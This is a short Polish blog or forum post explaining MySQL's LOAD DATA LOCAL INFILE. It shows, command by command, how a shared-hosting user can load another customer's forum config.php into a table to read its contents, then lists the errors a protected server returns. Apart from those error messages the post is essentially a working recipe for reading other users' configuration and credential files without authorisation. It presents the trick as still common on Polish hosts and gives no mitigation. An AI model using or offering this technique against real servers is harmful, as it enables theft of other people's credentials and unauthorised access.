MySQL pozwala na wczytywanie do bazy danych zewnętrznych plików. Służy do tego polecenie LOAD DATA LOCAL INFILE, które jednak może nieść dla serwera pewne niebezpieczeństwo... ale o tym za chwilę. Stwórzmy sobie najpierw tabelę do której będziemy kopiować zawartość naszego pliku:
CREATE TABLE `test`(
`test` VARCHAR(255)
);
Teraz spróbujmy wczytać dane z pliku dane.txt podając do niego pełną ścieżkę bezwzględną:
LOAD DATA LOCAL INFILE '/home/d00m/public_html/dane.txt' INTO TABLE `test`;
Polecenie to zamieni nam każdą linijkę z pliku dane.txt na nowy rekord i wpisze do tabeli test...
Oczywiście plik ten znajduje się na naszym koncie hostingowym.
Jednak sprawdźmy co się stanie, gdy spróbujemy odczytać plik innego użytkownika naszego hostingu...
TRUNCATE TABLE `test`;
LOAD DATA LOCAL INFILE '/home/franek/public_html/forum/config.php' INTO TABLE `test`;
Gdy administrator serwera nie przewidział takiego posunięcia użytkownika, plik z danymi konfiguracyjnymi powinien bez problemu wczytać się do tabeli test...
Natomiast, jeżeli MySQL jest zabezpieczony przed tego typu atakiem, przy próbie odczytu innych plików niż zawarte na naszym koncie hostingowym zwróci jeden z błędów:
#2000 - Can't find file '/home/franek/public_html/forum/config.php'
lub
#1045 - Access denied for user 'd00m'@'localhost' (using password: YES)
MySQL może także wypluć błąd, który mówi nam, że polecenie to jest wyłączone:
The used command is not allowed with this MySQL version
Błąd jest wciąż dość częsty na polskich hostingach :)
Pozdrawiam
d00m



